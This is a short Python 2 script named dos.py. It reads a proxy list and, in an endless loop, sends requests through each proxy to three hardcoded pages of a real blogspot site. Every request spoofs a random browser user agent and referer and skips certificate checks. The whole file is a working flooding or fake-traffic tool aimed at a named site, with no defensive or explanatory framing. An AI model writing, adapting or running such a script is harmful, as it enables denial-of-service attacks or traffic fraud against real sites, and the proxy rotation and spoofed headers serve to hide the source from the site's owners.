dos.py

import pycurl
import re
import random
from random import choice

def random_user():
    global agent
    user = ['Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
        'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)',
        'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)',
        'Mozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0',
        'Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian)',
        'Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0',
        'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)',
        'Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11',
        'Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11',
        'Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11']
    agent = random.choice(user)
def random_ref():
    global ref
    reflist = ['https://google.com.vn',
        'https://facebook.com']
    ref = random.choice(reflist)

def layproxy():
    global proxylist

    proxy_file = 'proxy.txt'
    proxylist = [];
    with open(proxy_file) as proxy:
        for line in proxy.readlines():
            search = re.search('p:(.*):p',line)
            if search:
                search_ok = search.group(1)
                proxylist.append(search_ok)

def test(url,proxy,agent,ref):
    try:
        curl = pycurl.Curl()
        curl.setopt(pycurl.URL, url)
        curl.setopt(pycurl.CONNECTTIMEOUT, 5)
        curl.setopt(pycurl.TIMEOUT, 8)
        curl.setopt(pycurl.USERAGENT,agent)
        curl.setopt(pycurl.REFERER, ref)
        curl.setopt(pycurl.NOSIGNAL, 1)
        if proxy != '':
            curl.setopt(pycurl.PROXY, proxy);
        curl.setopt(pycurl.COOKIEFILE,'cookie.txt')
        curl.setopt(pycurl.COOKIEJAR,'cookie.txt')
        curl.setopt(pycurl.SSL_VERIFYHOST, 0)
        curl.setopt(pycurl.FOLLOWLOCATION, 1)
        curl.setopt(pycurl.SSL_VERIFYPEER, 0)
        curl.setopt(pycurl.MAXREDIRS, 5)
        curl.setopt(pycurl.VERBOSE, True)
        curl.perform()
        curl.close()
    except pycurl.error, error:
        errno, errstr = error
        print 'An error occurred: ', errstr

def main():
    layproxy()
    while True:
        for proxy in proxylist:
            random_user()
            random_ref()
            test('http://xzone7.blogspot.com/',proxy,agent,ref)
            test('http://xzone7.blogspot.com/2013/06/su-ngu-dot-cua-admin-forum.html',proxy,agent,ref)
            test('http://xzone7.blogspot.com/2013/06/auto-register-login-final.html',proxy,agent,ref)

main()